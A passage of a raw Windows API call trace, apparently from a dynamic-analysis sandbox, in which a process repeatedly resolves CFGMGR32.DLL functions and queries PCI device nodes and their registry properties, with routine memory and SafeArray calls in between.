0x7ffb1cedacf0 [0211.270] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.271] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.272] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.273] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.273] malloc (_Size=0x18) returned 0x20abc281b20 [0211.273] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x31, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0211.273] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x39b15e82, dwHighDateTime=0x1d9eb0c)) [0211.274] SetEvent (hEvent=0x248) returned 1 [0211.279] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.279] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.331] malloc (_Size=0x18) returned 0x20abc281d40 [0211.331] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x31, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0211.331] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x39bae7bc, dwHighDateTime=0x1d9eb0c)) [0211.332] SetEvent (hEvent=0x248) returned 1 [0211.534] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.534] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.539] malloc (_Size=0x18) returned 0x20abc281ba0 [0211.539] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0211.540] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39d9eaad, dwHighDateTime=0x1d9eb0c)) [0211.540] SetEvent (hEvent=0x248) returned 1 [0211.549] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.549] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.553] malloc (_Size=0x18) returned 0x20abc281ba0 [0211.553] CM_Get_Device_IDA (in: dnDevInst=0x32, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2930&SUBSYS_11001AF4&REV_02\\3&11583659&0&FB") returned 0x0 [0211.553] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x39dc487e, dwHighDateTime=0x1d9eb0c)) [0211.553] SetEvent (hEvent=0x248) returned 1 [0211.556] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.556] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.560] malloc (_Size=0x18) returned 0x20abc281960 [0211.560] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0211.560] malloc (_Size=0x124) returned 0x20abc286890 [0211.560] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0211.562] free (_Block=0x20abc286890) [0211.563] malloc (_Size=0x48) returned 0x20abc27cf80 [0211.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x39dec81a, dwHighDateTime=0x1d9eb0c)) [0211.563] SetEvent (hEvent=0x248) returned 1 [0211.566] malloc (_Size=0x18) returned 0x20abc281e60 [0211.566] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0211.566] free (_Block=0x20abc281e60) [0211.566] malloc (_Size=0x18) returned 0x20abc281f60 [0211.566] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0211.566] free (_Block=0x20abc281f60) [0211.566] malloc (_Size=0x18) returned 0x20abc281ea0 [0211.566] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0211.566] free (_Block=0x20abc281ea0) [0211.566] malloc (_Size=0x18) returned 0x20abc2819a0 [0211.566] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0211.566] free (_Block=0x20abc2819a0) [0211.566] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0211.566] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0211.567] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0211.567] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0211.567] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0211.567] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0211.567] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0211.567] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0211.567] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0211.567] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b50, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.567] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b58, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.568] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b60, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.568] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79b68, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.569] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0211.569] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0211.570] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.570] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.570] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.571] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.573] malloc (_Size=0x18) returned 0x20abc281f80 [0211.573] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0211.573] malloc (_Size=0x10e) returned 0x20abc286890 [0211.574] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0211.574] free (_Block=0x20abc286890) [0211.574] malloc (_Size=0x48) returned 0x20abc2a8640 [0211.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x39dec81a, dwHighDateTime=0x1d9eb0c)) [0211.575] SetEvent (hEvent=0x248) returned 1 [0211.686] malloc (_Size=0x18) returned 0x20abc281fe0 [0211.686] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0211.686] free (_Block=0x20abc281fe0) [0211.687] malloc (_Size=0x18) returned 0x20abc281d20 [0211.687] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0211.687] free (_Block=0x20abc281d20) [0211.687] malloc (_Size=0x18) returned 0x20abc2819e0 [0211.687] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0211.687] free (_Block=0x20abc2819e0) [0211.687] malloc (_Size=0x18) returned 0x20abc281cc0 [0211.687] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0211.687] free (_Block=0x20abc281cc0) [0211.687] malloc (_Size=0x18) returned 0x20abc281aa0 [0211.687] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0211.687] free (_Block=0x20abc281aa0) [0211.687] malloc (_Size=0x18) returned 0x20abc2819a0 [0211.687] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0211.687] free (_Block=0x20abc2819a0) [0211.688] malloc (_Size=0x18) returned 0x20abc281fe0 [0211.688] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0211.688] free (_Block=0x20abc281fe0) [0211.688] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0211.688] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0211.688] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0211.688] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0211.688] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a00 [0211.688] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0211.688] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0211.688] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0211.688] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0211.689] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80900, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.689] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80908, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.689] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80910, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.689] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80918, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.690] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80920, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.690] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80928, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.690] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80930, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0211.691] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a00) returned 1 [0211.692] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0211.693] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.693] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.695] GetProcAddress (hModule=0x7ffb1ced0000, 